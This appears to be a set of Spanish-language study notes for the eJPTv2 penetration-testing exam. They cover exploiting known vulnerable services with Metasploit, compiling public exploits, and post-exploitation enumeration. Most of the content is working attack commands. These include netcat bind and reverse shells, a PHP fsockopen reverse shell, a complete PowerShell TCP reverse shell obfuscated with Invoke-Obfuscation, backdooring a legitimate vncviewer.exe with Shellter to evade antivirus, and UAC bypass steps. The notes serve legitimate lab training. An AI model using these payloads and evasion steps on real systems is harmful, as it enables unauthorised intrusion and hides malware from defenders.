    2. [[2. Exploit DB y Google|ExploitDB y Google]]
  2. Windows

    1. IIS-WebDAV-Wmap : cadaver y davtest

      1. [[1. WebDAV|WebDAV]]
      2. [[2. Wmap para Escaneo Web|Wmap]]
      3. [[3. HTTPFileServer 2.3.x - Rejetto|Rejetto HFS 2.3.x]]
    2. SMB

      1. [[1. Explotando MS17-010 SMB Vuln (EternalBlue)|Eternablue]]
      2. [[2. Login PsExec|PsExec]]
    3. RDP

      1. [[1. Explotando Windows CVE-2019-0708 RDP (BlueKeep)|Bluekeep]]
      2. [[2. Explotando RDP|Explotando RDP
    4. WinRM

      1. [[1. Explotando WinRM |Explotando WinRM]]
    5. Alternate Data Streams

      1. [[1. Alternate Data Streams|Alternate Data Streams]]
  3. Linux

    1. Apache/CGI
      1. [[1. Exploiting Bash CVE-2014-6271 (Shellshock Apache 2.4.6)|Shellshock cgi]]
  4. Network Attacks

    1. [[1. NetBIOS y SMB]]
    2. [[2. SNMP]]
    3. [[3. SMB Relay]]
  5. PTH

    1. [[1. PTH|PTH]]

eJPTv2

1. HTTP File Server 2.3.x Rejetto

Visto en: [[3. HTTPFileServer 2.3.x - Rejetto]]

eJPTv2

2. SMB MS17 010 (eternalblue) O MS08 067 (para Windows Xp 2000)

Visto en: [[2. SMB MS17-010 (EternalBlue) o MS08-067 (Para Windows XP-2000)]]

eJPTv2

3. Apache Tomcat Webserver 8.5.19

Es un open source Java servlet (clase de java que se ejecuta como webserver)

Se usa para contruir y hostear websites dinamicos y aplicaciones web basadas en java sw. Suelen estar desarrolladas con PHP

Modulo MSF

search type:exploit tomcat_jsp

tomcat_jsp_upload_bypass

Ejemplo

![[Pasted image 20260318152015.png]]![[Pasted image 20260318152023.png]] ![[Pasted image 20260318152035.png]]![[Pasted image 20260318152043.png]]![[Pasted image 20260318152051.png]]

eJPTv2

4. RDP (bluekeep)

Visto en: [[1. Explotando Windows CVE-2019-0708 RDP (BlueKeep)]]

eJPTv2

5. HTTP 2.7 (badblue)

Modulo MSF

badblue_passthru

Tener en cuentra el TARGET

Ejemplo

![[Pasted image 20260318160140.png]]

eJPTv2

1. Webapp Cgis (apache 2.4.6) Shellshock

Visto en: [[1. Exploiting Bash CVE-2014-6271 (Shellshock Apache 2.4.6)]]

eJPTv2

2. FTP Vsftpd 2.3.4

Modulo MSF

vsftp_234_backdoor

Ejemplo

![[Pasted image 20260318152542.png]]

eJPTv2

3. Samba 3.X 4.X (is Known Pipename)

Modulo MSF

is_known_pipename

Ejemplo

![[Pasted image 20260318152657.png]]![[Pasted image 20260318152711.png]]

eJPTv2

4. SSH 0.6.0 0.8.0

libssh es una libreria multiplataforma implementada en SSHv2 en el lado del cliente y servidor

libssh V0.6.0-0.8.0 es vulnerable a bypass de autenticacion que puede ser explotable para ejecutar comandos en un servidor objetivo

Modulo MSF

libssh_Auth_bypass

Comandos

search libssh_Auth_bypass
use
show options
set spawn_pty true
run
sessions

eJPTv2

5. Proftpd 1.3.3

Comandos

msfconsole -q
search ProFTPD 1.3.3
use exploit
set rhosts IP
run
/bin/bash -i Tenemos acceso como root

Ejemplo

![[Pasted image 20260318161941.png]]

eJPTv2

5. Snmp 2.8.8 Haraka

Modulo MSF

search type:exploit name:haraka

Comandos

search type:exploit name:haraka
use
show options
set srvport 9898 Lo cambiamos porque el payload usa el 8080
set email_to [email protected] Debe ser aceptado por el servidor

[[3. Enum Servicios/7. SMTP (25 - 465 o 586)/1. Interaccion|Interactuar con servidor]]
set payload linux/x64/meterpreter_reverse_tcp
set lhost eht1
run

eJPTv2

6. Php 5.2.4

Comandos Explicacion
nmap -Pn -sS -sCV -p80 -T4 IP Vemos que tiene levantado un DAV
Vamos al navegador y abrimos http:://IP
A veces el config se encuentra en: /phpinfo.php Vemos que la version es 5.2.4
Soporta CGI
/etc/php5/cgi/php.ini –> ruta de cgi conf
searchsploit php cgi Encontramos un exploit de argument injection para las versiones 5.3.12
searchsploit -m 18836
nano 18836.py
Cosas a cambiar pwd_code (<?php $sock=fsockopen(“IP”,1234);exec(“/bin/sh -i <&4 >&4 2>&4”);?>)
nc -nvlp 1234
python2 18836.py IP 80
Obtenemos la reverse shell
/bin/bash -i

Ejemplo

![[Pasted image 20260318170000.png]]![[Pasted image 20260318170012.png]]![[Pasted image 20260318170018.png]]

eJPTv2

7. Samba 3.0.20

Puede que tambien sea vulnerables a [[3. Samba 3.X - 4.X (is_known_pipename)]]

nmap -Pn -sS -sVC -p445 -T4 IP Nos dice una version entre 3.X y 4.X
nc -nv IP 445 No tenemos un banner
msfconsole -q
search smb_version
use
show options
set rhosts IP
run Samb 3.0.20
searchsploit samba 3.0.20 Vemos un exploit especifico de nuestra version que tiene modulo MSF de Command Execution
search samba 3.0.20
use
show options
set rhosts IP
run
/bin/bash -i
ctl Z
sessions
sessions -u N
sessions
sessions N Obtenemos un root access + Meterpreter al host
getuid

Ejemplo

![[Pasted image 20260318170217.png]]

eJPTv2

1. Arreglando Exploits

searchsploit http file server Vemos varios archivos para la 2.3 de Rejetto. Usaremos el que tiene Remote Command Execution y extension .py para ejecutarlo con python
searhsploit -m ID_Exploit
nano Archivo Veremos alguna metadata y descriptcion en los comentarios del principio
Tambien vemos aqui el Usage (como usarlo)
python ARCHIVO IP_TARGET PUERTO Vemos que no funciona. Eso es porque hay algo que no hemos visto
nano Archivo En EDB Note, en los comentarios vemos que dice:

Para usarlo necesitamos tener un webserver hosting con netcat (http://IP_TARGET:80/nc.exe)


Si bajamos al codigo, vemos una variable ip_addr (LOCAL_IP) y local_port
Cambiamos ip_addr a la IP_LOCAL

Cambiamos local_port al puerto con el que vayamos a escuchar el netcat: ejemplo 1234
No tenemos que cambiar nada mas, guardamos y salimos

eJPTv2

2. Compilacion C

En ciertos casos ciertos exploits estan escritos en C/C++/C# y necesitaremos compilar el exploit en un Portable Executeable/PE o binario

Windows

Herramientas:

  1. MinGW-w64: para compilar sw desde Linux para Windows ![[Pasted image 20260318164618.png]]

  2. Gcc

apt install mingw-64 -y
apt install gcc

Se recomienda compilarlo en la version de 32bits ya que correra en todas las versiones

searchsploit VideoLAN VLC smb El nuestro es el 9303
searchsploit -m 9303
ls
nano 9303 Si el exploit esta bien doccumentado tendra el como compilarlo, no es el caso
i686-w64-mingw32-gcc 9303.c -o NOMBRE Version x64
ls Vemos nuestro .exe
i686-w64-ming32-gcc 9303.c -0 NOMBRE -lws2_32 Version x32

Linux

searchsploit Dirty Cow Nosotros buscamos el 40839
searchsploit -m 40839
nano 40839 Este si tiene instruccion de compilacion
gcc -pthread 40389 -o NOMBRE -lcrypt Obtenemos el elf o binario

Recurso por si falla el cross compiling

Hay veces que falla y el siguiente recurso de Github tiene compilaciones ya hechas de exploits sobretodo de WIndows pero de las dos:

https://github.com/offensive-security/exploit-db-sploits/

![[Pasted image 20260318164646.png]]

eJPTv2

1. Ubicacion Kali Y Cheatsheet

Visto en: [[4. Shells y Cheatsheet reverse shells]]

eJPTv2

2. Crear Bind Shell Con Netcat

Comandos Explicacion
En nuestra Kali
cd /usr/share/windows-binaries
python -m SimpleHTTPServer 80
En el target
http://IP y descargar

o

certutil -urlcache -f http://IP/nc.exe
Abrimos un cmd
nc.exe -nvlp 1234 -e cmd.exe Cuando se conecte el atacante se ejecutara cmd.exe en su conexion
En nuestra kali
nc -nv IP 1234 Se abrira un cmd
AL REVES TAMBIEN SE PUEDE
En nuestra kali
nc -nvlp 1234 -e /bin/bash
En el target:
nc.exe -nv NUESTRA_IP 1234

eJPTv2

3. Crear Reverse Shells Con Netcat

Comandos Explicacion
En nuestra Kali
cd /usr/share/windows-binaries
python -m SimpleHTTPServer 80
En el target
http://IP y descargar

o

certutil -urlcache -f http://IP/nc.exe
Abrimos un cmd
En nuestra kali
nc -nvlp 1234
En el objetivo
nc.exe -nv IP 1234 -e cmd.exe
En nuestra kali Habremos obtenido el shell
AL REVES TAMBIEN SIRVE
En el target
nc -nvlp 1234
En nuestra Kali
nc -nv IP 1234 -cmd.exe
TAMBIEN SIRVE ENTRE LINUX Solo hay que ejecutar un /bin/bash en vez de un cmd.exe
En nuestra kali
nc -nvlp 1234
En el linux objetivo
nc -nv IP 1234 -e /bin/bash

eJPTv2

4. Upgradeando Non Interactive Shells

run Nos dara una non interactive shell
Convirtiendola en interactiva
cat /etc/shells Dependiendo de la que este instalada se usa unos comandos u otros
/bin/bash -i

o

/bin/sh -i

o si hay python (python –version)

python -c ‘import pty; pty.spawn(“/bin/bash”)’

o si hay perl (perl –help)

perl -e ‘exec “/bin/bash”;’ / perl exec “/bin/bash”;
env
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash
env

eJPTv2

5. Shell Modulo WEB Delivery

Tenemos que tener acceso a las dos maquinas previamente

msfconsole -q
search web_delivery Crea un webserver que contiene un payload que se descarga y ejecuta en el sistema objetivo y establece una sesion
use
show options
set target PSH\ Binary
set payload windows/shell/reverse_tcp
set PAH-EncodedCommnad false
set LHOST IP
run Copiamos el powershell code
Vamos al sistema objetivo
Abrimos un cmd
Lo pegamos y ejecutamos
Volvemos al MSF
sessions
sessions N

eJPTv2

6. Shell Modulo Hta Server

Tenemos que tener acceso a las dos maquinas previamente

![[Pasted image 20260318183240.png]]

eJPTv2

1. Shellter

Usaremos shellter: una herramienta de inyeccion de shellcode de forma dinamica mediante PE (ejecutables portables). Se usa para injectar un shell code en aplicaciones de Windows nativas (actualmente solo aplicaciones 32bits)

Comandos Explicacion
sudo apt install shellter -y
sudo dpkg –add-architecture i386
sudo apt install win32
Esto va a permitir ejecutar aplicaciones nativas de Windows en nuestras kali. Se instalo el paquete de arquitectura 32bits debido a que shellter solo funciona con aplicaciones Windows de 32bits
ls -la /usr/share/windows-resources/shellter shelleter.exe esta aqui
cp /usr/share/windows-binaries/vncviewer.exe . Es un programa legitimo de windows que permite conectarte a un VNC session
sudo wine shellter.exe A:automatico
/home/kali/Desktop/vncviewer.exe
Y:yes a funcionar de forma legitima en primer plano
L: payload del listado (C:seria custom)
Numero en la lista: este caso 1
LHOST
LPORT
En nuestro sitio de trabajo se ha remplazado el ejecutable. En /usr/share/windows-resources/shellter-backup se genera un backup del archivo original por si lo queremos recuperar
El que se creo si lo ejecutamos se ejecutara normalmente pero en segundo plano se ejecutara el payload
sudo python3 -m SimpleHTTPServer 80
msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost IP
set lport 1234
run
Vamos al Windows system y vamos en el navegador a: IP:80 y descargamos el .exe
Lo ejecutamos En primer plano se ve normal
Si volvemos al kali en el listener de MSF tendremos la shell meterpreter

eJPTv2

2. Ofuscacion De Codigo Powershell

Ofuscacion: procesos de ocultar algo importante o critico. Reorganiza el codigo con el fin de que sea mas dificil de analizar

Como pentester trabajaras con codigo PowerShell frecuentemente y los AVs detectan muy rapidamente si el codigo PowerShell es malicioso o no.

Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation

Comandos

Comandos Explicacion
git clone https://github.com/danielbohannon/Invoke-Obfuscation Esto lo usaremos por ejemplo para ofuscar reverse shell en PowerShell
sudo apt install powershell -y
pwsh Tenemos acceso a una powershell en linux
cd Invoke-Obfuscation
ls
Import-Module ./Invoke-Obfuscation
Vamos a coger el siguiente codigo powershell reverse shell
nano reverse.ps1
powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘10.0.0.1’,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ’PS ’ + (pwd).Path + ’> ’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”
Nos quedamos con lo siguiente
$client = New-Object System.Net.Sockets.TCPClient(‘IPLOCAL’,LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ’PS ’ + (pwd).Path + ’> ’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() Cambiamos IPLOCAL y LPORT
Volvemos a Invoke-Obfuscation
SET SCRIPTPATH /ruta/reverse.ps1
AST
ALL
1 Saldra un codigo ofuscado que copiamos y pegamos en el reverse.ps1
Copiamos ese codigo en reverse.ps1 y guardamos
python3 -m http.server 80
nc -nvlp 1234
Vamos a Windows y descargamos el archivo yendo a IP:80
Lo ejecutamos (click derecho correr en la PowerShell o nos metemos en una PowerShell y hacemos .\achivo.ps1)
En nc conseguimos la shell, le damos Enter para que salga el prompt

eJPTv2

Indice Explotacion

  1. Windows

    1. Vulnerabilidades conocidas
      1. [[3. HTTPFileServer 2.3.x - Rejetto]]
      2. [[2. SMB MS17-010 (EternalBlue) o MS08-067 (Para Windows XP-2000)]]
      3. [[3. Apache Tomcat WebServer 8.5.19]]
      4. [[4. RDP (BlueKeep)]]
      5. [[5. HTTP 2.7 (BadBlue)]]
  2. Linux

    1. Vulnerabilidades conocidas
      1. [[1. WebApp CGIs (Apache 2.4.6) - Shellshock]]
      2. [[2. FTP vsftpd 2.3.4]]
      3. [[3. Samba 3.X - 4.X (is_known_pipename)]]
      4. [[4. SSH 0.6.0 - 0.8.0]]
      5. [[5. ProFTPD 1.3.3]]
      6. [[5. SNMP 2.8.8 - Haraka]]
      7. [[6. PHP 5.2.4]]
      8. [[7. Samba 3.0.20]]
  3. Arreglando exploits

    1. [[1. Arreglando exploits]]
    2. [[2. Compilacion C]]
  4. Shells

    1. [[1. Ubicacion kali y Cheatsheet]]
    2. [[2. Crear bind shell con Netcat]]
    3. [[3. Crear reverse shells con Netcat]]
    4. [[4. Upgradeando Non-Interactive Shells]]
    5. [[5. Shell Modulo web_delivery]]
    6. [[6. Shell Modulo hta_server]]
  5. Ofuscacion y evasion AV

    1. Evasion AV
      1. [[1. Shellter]]
    2. Ofuscacion codigo
      1. [[2. Ofuscacion de codigo Powershell]]

eJPTv2

1. Mejorando Shell A Meterpreter Desde MSF

Forma 1 - Automatica

run Nos dara una shell normal
/bin/bash -i
Ctl Z Background
sessions
Upgradearla
sessions Ahi estara el meterpreter
sessions -u N Ejecuta lo mismo pero de forma automatica

Forma 2 - Manual

run Nos dara una shell normal
/bin/bash -i
Ctl Z Background
sessions
Upgradearla
search shell_to_meterpreter
use
show options
set session N
set lhost IP
run Nos dara una meterpreter shell
sessions Ahi estara

eJPTv2

1. Enumeracion MSF Meterpreter

Windows y Linux

Comandos Explicacion
sysinfo Informacion del sistema comprometido
getuid Conseguir el usuario
help Lista de comandos
exit Terminarla (NO HACER AHORA)
bg Poner en background
sessions -h
sessions -C COMANDO -i N Ejecuta un comando en una session sin tener que meterte
sessions -k N Matar la session (NO HACER AHORA)
sessions -n NOMBRE Poner nombre a las sessiones
sessions N
pwd Ver el directorio en el que estamos
cd ..
cat flag1.txt
edit archivo Editar una archivo
:q salir
cd Secret FIles
cat flag2.txt
cd ..
download flag5.zip /ruta/nombre_archivo
bg
unzip flag5.txt
checksum md5 /bin/binario Obtener el hash de un binario
getenv VARIABLE Conseguir el valor de una variable
search -d /usr/bin -f *backdoor* Busca un archivo en el sistema de directorio
search -d /usr/bin -f *.php
search -f archivo Buscar el archivo en todo el sistema
shell Obtener una shell native del sistema
Ctl C Termina la shell y vuelve a Meterpreter
ps Ver la lista de procesos. Si queremos migrar a un proceso en especifico
migrate N (PID)
execute -f CMANDO Ejecutar un comando en el sistema desde meterpreter
mkdir nombre
rmdir nombre
ls o lls
screenshot Hace una captura de la pantalla del objetivo

eJPTv2

2. Modulos MSF Enumeracion Postexplotacion Windows

post/windows/manage/migrate

search migrate
use post/windows/manage/migrate Nos permite crear un proceso y migrar a el
show options
set session N
run Falla porque ya hemos migrado
  • /post/windows/gather/win_privs
search win_privs
use /post/windows/gather/win_privs Nos permite enumerar los privilegios del usuario actual
set session N
run - Is Admin: true
- Is System: no tenemos privs de sistema porque cambiarmos de usuario con impersonate tokens
- Is In Local Admin Group: true
- UAC Enable: true
- UID: MAQUINA\Usuario
  • /post/windows/gather/enum_logged_on_users
search enum_logged_on
use /post/windows/gather/enum_logged_on_users Nos permite ver los usuarios logeados en el momento y recientes
show options
set session 1
run Nos da los SID actuales y recientes
  • /post/windows/gather/checkvm
search checkvm
use /post/windows/gather/checkvm Nos dice si la maquina esta en un VM
show options
set session 1
run Nos dice que es una Xen VM. Esto es importante porque hay modulos que pueden romper el entorno virtual y darnos acceso al host
  • /post/windows/gather/enum_applications
search enum_applications
use /post/windows/gather/enum_applications Nos da una lista con los programas descargados y su version
show options
set session 1
run Algunas versiones de esas aplicaciones tendran vulns que nos permitan elevar nuestros privs
  • /post/windows/gather/enum_av_excluded
search type:post platform_windows enum_av
use post/windows/gather/enum_av_excluded Nos enumera las carpetas, extensiones… con exclusiones AV donde podremos ejecutar
show options
set session 1
run Nos detecta el Deffender de Windows pero no exclusiones en este caso
  • post/windows/gather/enum_computers
search enum_computer
use post/windows/gather/enum_computers Enumera las maquinas conectadas al dominio
show options
set session 1
run Esta maquina no esta conectada a un dominio
  • post/windows/gather/enum_patches
search enum_patches
use post/windows/gather/enum_patches Enumera los parches
show options
KB KB patches son numeros identificadores de actualizaciones de Windows. Lo podemos modificar pero en este caso lo dejamos en default
set session 1
run Nos dice que no se puede. Probamos a migrar de proceso a otro con AUTHORITY\SYSTEM
sessions N
ps
migrate PID Hemos cambiado a svchost.exe
bg
run No sigue dando error
Otra forma manual
sessions N
shell
systeminfo Nos da info del sistema y una lista de los KB patches instalados
  • /post/windows/gather/enum_shares
search enum_shares
use /post/windows/gather/enum_shares Nos enumera los shares
show options
set sessions N
run Encontramos un $print (de impresora)
  • post/windows/manage/enable_rdp
search rdp platform:windows
use post/windows/manage/enable_rdp Nos dice si RDP esta habilitado
show options
set sessions N
run Nos dice que esta habilitado

Toda esta informacion se gurardara en:

loot Nos dara informacion recopilada importante
/home/user/.msf4<7loot/ Aqui estara en el sistema de archivos

eJPTv2

3 Modulos MSF Enumeracion Postexplotacion Linux

  • post/linux/gather/enum_config
search enum_config
use post/linux/gather/enum_config Recopila los archivos de configuracion de Linux
show options
set session N
run Los verdes son los que existen
loot Veremos los archivos
cat /archivo Leemos uno
  • post/linux/gather/env
search type:post platform:linux env
use post/linux/gather/env Recopila las variables de entorno
show options
set session N
run Los verdes son los que existen
  • post/linux/gather/enum_network
search enum_network
use post/linux/gather/enum_network Recopila info de la red
show options
set session N
run Cosas como intentar abrir el sshd, recopilar info y configuraciones del firewall, dns…
loot
cat /archivo En el de dns config vemos que el ns principal es members-linode.com (linode es un servicio cloud)
  • post/linux/gather/enum_protections
search enum_protections
use post/linux/gather/enum_protections Checkea el endurecimiento de los mecanismos del sistemas , enumera aplicaciones instaladas que puede ser usada para dificultar, prevenir o detectar ataques. Intenta descubrir los modulos de Linux (LSM), antivirus, IDS/IPS…
show options
set session N
run Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump…
notes
  • post/linux/gather/enum_system
search enum_system
use post/linux/gather/enum_system Recopila informacion del sistema
show options
set session N
run Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump…
loot
cat /ruta/installed_packets
cat /ruta/cronjobs
  • post/linux/gather/checkcontainer
search checkcontainer
use post/linux/gather/checkcontainer Nos dice si tiene un contenedor
show options
set session N
run Parece ser un Docker host
  • post/linux/gather/checkvm
search checkvm platform:linux
use post/linux/gather/checkvm Detecta un entorno virtual
show options
set session N
run
  • post/linux/gather/enum_user_history
search enum_user_history
use post/linux/gather/enum_user_history Trata de conseguir los history (contienen comadnos realizados previamente) a de las cuentas
show options
set session N
run
loot
cat /ruta/para_root

eJPTv2

1. Enumeracion De Informacion Del Sistema

sysinfo Informacion del sistema como:
- Hostname
- SO y Service Pack
- Arquitectura
shell
hostname
systeminfo Nos da info de todo el SO:
- Hostname
- OS name
- OS version y build
- Arquitectura
- Procesador
- Boot Device
- Domain
- Hotfixed: estos se pueden pegar en google para saber que esta parcheado y que es vuln
- Network info: interfaz, IP del DHCP Server, IP del sistema…
wmic qfe get Caption, Description, HotFixID, InstalledOn Esto nos da mas informacion sobre los Hotfix instlados:
- URLD
- Para que fuerons instalados
- Num del Hotfix (KBXXXX)
- Dia que se instalo
exit Volvemos al meterpreter
cat C:/Windows/System32/eula.txt Este archivo si existe nos da info del SO

eJPTv2

2. Enumeracion De Users Y Grupos

getuid
shell
whoami Hostname/user
whoami /priv Priv del usuario actual
query user Usuarios loggeados actualmente
net users Cuentas del sistema
net user USER Mas info de un usuario especifico
net localgroup Todos los grupos del sistema
net localgroup NOMBRE_GRUPO Nos da los members del grupo

eJPTv2

3. Enumeracion Local

shell
ipconfig IP actual, adaptadores, gateway, mascaras
ipconfig /all Informacion adicional: MACs, DHCP Enable, DHCP Server, DNS Server…

Si este host tuviera otra interfaz para alcanzar un nuevo segmento de red que antes no hemos sido capaces de acceder desde fuera saldria por aqui
route PRINT Tabla de rutas
arp -a ARP table (IP/MAC)
netstat -ano Lista los servicios:puerto, protocolo, estado y PID que estan corriendo

Son los enumerados por nmap, el 4444 (estado: ESTABLISHED) que es por donde tenemos conectado nuestro Meterpreter y alguno que puede haberse escapado
netsh advfirewall show allprofiles En este caso esta deshabilitado
Para ver los parametros de netsh advfirewall poenemo solo:

netsh advfirewall
Saldran los parametros que podemos usar a modo de help menu

eJPTv2

4. Enumeracion Procesos Y Servicios

ps Procesos que estan corriendo en una lista:
- PID
- Name
- Arquitecura
- User (ptivs asociados al proceso)
- Patch

Si accediesemos con el usuario bob, no administrado, no nos saldrian los procesos con priv AUTHORITY\SYSTEM solo los relacionados con bob
pgrep PROCESS_NAME Ej: pgrep explorer.exe
migrtate PID Migrar a un proceso
sysinfo Vemos que hemos migrado a un meterpreter x64, es otra forma de cambiar a un meterpreter x64
shell
net start Servicios start (No procesos) estos corren en background
wmic service list brief Lista servicios con un:
- ExitCode
- Name
- ProccessID
- StartMode
- Estado
- Status
tasklist /SVC Lista procesos que estan corriendo y el servicio que esta corriendo ese proceso en particular
schtasks /query /fo LIST
Lista tareas programadas

Dara muchisima info, se recomiendo copiar y pegar en un notas por ejemplo, esta info sera muy util en la escalada de privs

- Hostname
- Taskname
- Task torun
- Schedule

eJPTv2

5. Automatica

JAWS: es un script de powershell que ayuda a identificar vectores de escalada de privilegios en Windows. Usado para PowerShell 2.0

https://github.com/411Hall/JAWS

Comandos

Es el mismo lab en todo el modulo

upload /ruta/jaws-enum.ps1
shell
powershell -ExecutionPolicy Bypass -File \ruta\jaws-enum.ps1 -OutputFileName JAWS-Enum.txt Nos dara mucha info
Dura bastante, se puede quedar pillado pero debemos dejarlo
dir
exit
download JAWS-Enum.txt
Lo abrimos
Encontramos info como:
- Users info
- Network info
- Process y services info
- Firewall rules
- /hosts info
- Schedule tasks
- Patches info
- Files con control total y modificacion access
- Y mas

eJPTv2

1. Enumeracion De Informacion Del Sistema

getuid Usuario actual
sysinfo Informacion del sistema como:
- Hostname
- SO y Service Pack
- Arquitectura
shell
/bin/bash -i
hostname
cat /etc/issue Distibucion que esta corriendo
cat /etc/*release Mas informacion sobre el debian
uname -a Kernel version y arquitectura
uname -r Limitar a version kernel
env Enumerar variables del usuario
lscpu CPU info
free -h Saber cuanta RAM esta siendo consumida (no esta disponible en esta maquina)
df -h Mostrar espacio de disco duro usado leible
- Sistema de archivos o dispositivo
- Tamano
- Espacio usado
- Espacio libre
- Porcentaje ocupado
- Punto de montaje
df -ht ext4 Esto muestra solo los sistemas de archivos del sistema
lsblk | grep sd Muestra los discos de almacenamiento del sistema en forma de arbol
dpkg -l Muestra paquetes instaldos y su version. Todas las herramientas y utilidades son considerados paquetes como por ejemplo bash

eJPTv2

2. Enumeracion De Usuarios Y Grupos

Comandos Explicacion
getuid uid 0 es el root
shell
/bin/bash -i
whoami
groups USERNAME Grupos de un usuario
cat /etc/passwd Nos dara los user y service accounts (los users tienen /bin/bash y servicios /usr/sbin/nologin)
cat /etc/passwd | grep -v /nologin username:X:userID:groupID:/home/directory:shell
ls /home Si hubiese mas user accounts saldrian aqui sus directorios
EJEMPLO CREANDO UN USUARIO
useradd bob -s /bin/bash
cat /etc/passwd | grep -v /nologin Saldra tambien bob
ls /home No tendra /home/directory porque no se lo especificamos al crearlo, habria que crearlo manualmente
useradd -m john -s /bin/bash El si lo tendra
groups Grupos
groups bob
EJEMPLO METIENDO A BOB EN EL GRUPO ROOT
usermod -aG root bob Anadimos a bob al root group
last Ultimos usuarios que se loggearon
lastlog Ver la ultima vez que se loggearon todos los usuarios del sistema en una lista

eJPTv2

3. Enumeracion De Red

ifconfig Obtener info de:
- Las interfaces
- IPaddress
- Mascaras
- MACs
netstat Lista los servicios:puerto, protocolo, estado y PID que estan corriendo

Son los enumerados por nmap, el 4443 (estado: ESTABLISHED) que es por donde tenemos conectado nuestro Meterpreter y alguno que puede haberse escapado
route Tabla de rutas
shell
/bin/bash -i
ip a s Parecido a ifconfig
cat /etc/networks Interfaces info: default, loopback y link-local
cat /etc/hostname
cat /etc/hosts Hosts + IPs para ver dominios que podemos acceder
cat /etc/resolv.conf Nameservers (DNS Server) que se usa por defecto
arp -a No esta instalada
exit
arp

eJPTv2

4. Enumeracion Procesos Y Cronjobs

Comandos Explicacion
ps Procesos que estan corriendo en una lista:
- PID
- Name
- Arquitecura
- User (ptivs asociados al proceso)
- Patch

Si accediesemos con el usuario bob, no administrado, no nos saldrian los procesos con priv AUTHORITY\SYSTEM solo los relacionados con bob
pgrep PROCESS_NAME Ej: pgrep explorer.exe
migrtate PID Migrar a un proceso
shell
ps aux Procesos que estan corriendo en una lista. NO SE ENCUENTRA EN EL SISTEMA:
- User
- PID
- CPU y MEM ocupada
- TTY usada
- Cuando empezo
- Comando
ps aux | grep NAMEPROCESS De un proceso especifico
ps aux | grep USERNAME De un usuario especifico
top Lista de procesos dinamica. NO SE ENCUENTRA EN EL SISTEMA
crontab -l Cronjobs del usuario
ls -la /etc/cron* Todos los cronjobs divididos en carpetas segun sea cada dia, semana, mes…
cat /etc/cron* Aqui veriamos si hubiese algun cronjob configurado

eJPTv2

5. Automatico

LinEnum: es un script de bash simple que automatiza el local enumeration para identificar vulns de escalada de privilegios

https://github.com/rebootuser/LinEnum

Comandos

LinEnum: (https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh)

copiar y pegar en un archivo llamado (LinEnum.sh)
sessions N
cd /tmp
upload /ruta/LinEnum.sh
shell
/bin.bash -i
id Somos un usuario sin privs
whoami
cat /etc/passwd No tenemos ni shell configurada
chmod +x Linenum.sh
sed -i ‘s/\r$//’ LinEnum.sh SI DA ERRORES AL EJECUTAR LinEnum.sh
./LinEnum.sh Encuentra info de:
- Kernel info
- Release info (SO, version…)
- Hostname
- Users/groups
- Logged on
- /etc/passwd
- Variables para el usuario
- Paths
- Shells
- Pass info
- Cron jobs
- Network info
- Servicios
- Binarios sobre los que tenemos permisos
- Compiladores
- SUID binaries
- Conf files

Y mas

eJPTv2

1. Windows Exploit Suggester

  1. MSF
  2. Manual

MSF

Los modulos que nos de podemos mirarlos en google (rapid7) para ver una descripcion

search local_exploit_suggester Este modulo nos enseñara los modulos para escalar privs
use local_exploit_suggester
set session N
run [+] –> Son los modulos que sirven para escalar privs en el objetivo
Si lo cogemos y lo miramos en google podremos ver con mas detalle que es lo que hace
use MODULE[+]
set OPTIONS
run
getuid [[4. Enumeracion MSF|COMANDOS UTILES MSF]]

Manual

Comando Explicacion
git clone URL https://github.com/strozfriedberg/Windows-Exploit-Suggester/tree/master
./windows-exploit-suggester.py –update Actualiza la base de datos
./windows-exploit-suggester.py –database NOMBRE_ARCHIVO.db –systeminfo ARCHIVO NOMBRE_ARCHIVO.db: nombre del archivo en el directorio de la base de datos

ARCHIVO: archivo que contiene la info del comando sysinfo realizada en un sesion de Meterpreter

SALIDA:
-[E]: exploit name
-[M]: MSF module
- [*]: boletin perdido
El primero es MS16-135 en el cual salen 2 exploits [E] y una url de github

Podemos buscar MS16-135 en google para mas detalle
En SeeWiki/windows-kernel-exploit/ de github podemos buscar MS16-135, navegar en sus carpetas hasta la version .exe o .psq y descargarla Cogemos el .exe

https://github.com/SecWiki/windows-kernel-exploits
session N(Meterpreter sin privs)
cd C:\Temp
upload archivo.exe
shell
.\archivo.exe N N(num de la version Windows: 7, 2008)

Si no sabemos cual ponemos .\archivo.exe y nos deberia decir opciones
whoami

eJPTv2

1. Bypassing Uac

UAC es una caracterisitca de Windows Vista usado para prevenir cambios no autorizados

Para bypassear UAC necesitamos un usuario parte de los local admin groups

3 niveles de UAC, desde low - high:

  • Si esta en high, Windows programs pueden ser ejecutados con privilegios

UACMe/Akagi64.exe

Es una herramienta de escalado de privs para bypassear UAC: https://github.com/hfiref0x/UACME

Tiene repos de Windows 7-10. Permite a los atacantes ejecutar payloads en un Windows target con admin privs con la herramienta Windows AutoElevate

SITUACION: tenemos un Meterpreter, con getsystem no conseguimos escalar privs y vemos que nuestro usuario pertenece al localgroup administrators. Queremos mas privilegios

Forma 1 - Automatica modulo MSF

search bypassuac Nosostros usaremos bypassuac_injection
use
show options
set payload windows/x64/meterpreter/reverse_tcp
set session N
set lport N Otro no usado
run
Si nos da un error porque dice que el target es un x86 hacemos lo siguiente
set target Windows\x64
run Ahora se deberia completar bien

Forma 2 - Manual

Desde Meterpreter

